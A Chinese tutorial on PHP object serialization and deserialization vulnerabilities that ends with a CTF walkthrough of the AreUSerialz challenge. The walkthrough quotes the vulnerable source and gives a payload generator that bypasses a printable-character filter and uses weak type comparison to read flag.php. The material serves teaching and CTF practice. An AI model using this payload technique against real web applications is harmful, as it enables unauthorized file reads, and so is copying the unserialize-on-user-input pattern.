PHP 反序列化
1. php面向对象编程
1) 面向对象编程的基本概念
在面向对象编程的程序设计中,对象是一个由信息及对信息处理的描述所组成的整体,是对现实世界的抽象。
(人和人类 每一个人就是一个对象,人类是对每个人的抽象概括)
对象的三个主要特性:
- 对象的行为:可以对 对象施加的那些操作,比如开灯、关灯,走、跑、跳就是行为
- 对象的形态:施加哪些方法使对象如何响应,颜色、尺寸、外型,高矮胖瘦、高富帅、白富美
- 对象的表示:对象的表示就相当于身份证,具体的区分在相同的行为与状态下有什么不同
2)类和对象
比如Animal(动物)就是一个抽象类,我们可以将动物类具体到一只狗和一只羊,而狗和羊就是动物类具体的对象,他们都有具体的颜色属性,可以跑,可以吃,有行为状态
类-定义了一件事物的抽象特点,主要包含了一些属性以及对属性的一些操作
对象-类的实例
成员变量-定义在类内部的变量。该变量的值,对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可称为对象的属性
成员函数-定义在类的内部,可以用于访问对象的数据
<?php
class TestClass{
public $variable = 'You\'re awesome!';
public function PrintVariable(){
echo $this -> variable ;
}
}
$object = new TestClass();
$object -> PrintVariable();
?>
public 表示全局,类内部外部子类都可以访问;
protected表示受保护的,只有本类或子类或父类中可以访问;
private表示私有的,只有本类内部可以使用;
3)magic函数
类可能会包含的一些特殊的函数叫magic函数,magic函数的命名,通常以符号__ 开头,这些函数在某些情况下会自动调用
- __construct() 构造函数,当用new关键字实例化一个对象时自动调用
- __destruct() 析构函数,当一个对象被销毁时自动调用
- __toString() 当一个对象被当成一个字符串时自动调用
- __sleep() 在对象序列化时会自动调用
__sleep() 方法 serialize - __wakeup() 对象自动醒来,即由二进制串重新组成一个对象的时候,会自动调用php的另一个函数
__wakeup() unserialize
2. php序列化和反序列化
1.什么是序列化
O:8:“NewClass”:1:{s:3:“var”;s:23:“I am a new variable”;}
当一个对象在网络上传输时,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,在还原为原来的对象,这个过程叫做序列化(也叫串行化)
以下两种情况我们必须进行序列化:
- 把一个对象在网络中传输的时候
- 把对象写入文件或者数据库的时候
2.序列化和反序列化的过程
序列化:就是把对象转化为二进制的字符串,使用serialize()函数
反序列化:把对象转化成的二进制字符串再转化为对象,使用unserialize()函数
3.序列化
<?php
class User{
public $age = 0;
public $name = '';
public function printdata(){
echo 'User '.$this -> name.' is '.$this -> age.'years old.<br>';
}
}
$user = new User();
$user -> age = 18;
$user ->name = 'wsm';
$user ->printdata();
echo serialize($user);
?>
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:3:"wsm";}
4.反序列化
<?php
class User{
public $age = 0;
public $name ='';
public function printdata(){
echo 'User '.$this -> name.' is '.$this -> age.' years old.<br>';
}
}
$user = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:3:"wsm";}');
$user -> printdata();
?>
5.__sleep()和__wakeup() 两个magic方法
- __sleep() magic方法在一个对象被序列化时调用——
serialize - __wakeup() magic方法在一个对象被反序列化时调用——
unserialize
<?php
class test{
public $variable = 'HYQ';
public $variable2 = 'YKingH';
public function printvariable(){
echo $this-> variable.'<br>';
}
public function __wakeup(){
echo '已执行__wakeup魔法函数'.'<br>';
}
public function __sleep(){
echo '已执行__sleep魔法函数'.'<br>';
return array('variable','variable2');
}
}
$object = new test();
$serialized = serialize($object);
print '序列化后的字符串为:'.$serialized.'<br>';
$object2 = unserialize($serialized);
$object2 ->printvariable();
?>
3. php反序列化漏洞原理
序列化和反序列化本身是没有问题的,但如果反序列化的内容是用户可以控制的,且后台不正当使用了php魔法函数就会导致安全问题
当传给unserialize()的参数可控时,我们可以传入一个精心构造的反序列化字符串,从而控制内部的变量甚至函数
4. php反序列化漏洞实操
buuctf的pikachu靶场
bugku 点了login咋没反应
(本来还有自己的题目链接,可是放不上来了。。需要的小伙伴评论找我叭)
PHP反序列化进阶
[网鼎杯 2020 青龙组]AreUSerialz buuctf
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
经过对代码的分析,可以设置op为2,来进行读操作,filename为flag.php来通过read函数读取flag的值
is_valid函数限制输入的str的字符的ASCII码值的范围为32~125,而protected属性会序列化出来不可见字符
class Notice{
protected $a = '123';
}
$b = new Notice();
echo serialize($b);
echo '<br>';
echo urlencode(serialize($b));
%00%2A%00a
利用php7.1以上的版本对属性类型不敏感,可以将属性改为public,从而绕过is_valid函数的过滤
故可以构造反序列化payload
<?php
class FileHandler{
public $op = 2;
public $filename = 'flag.php';
public $content = 'Hello YKingH!';
}
$a = new FileHandler();
echo serialize($a);
?>
注意点:
- 代码审计
- 绕过is_valid判断
- php强弱类型比较
- file_get_content()
- 类的属性
|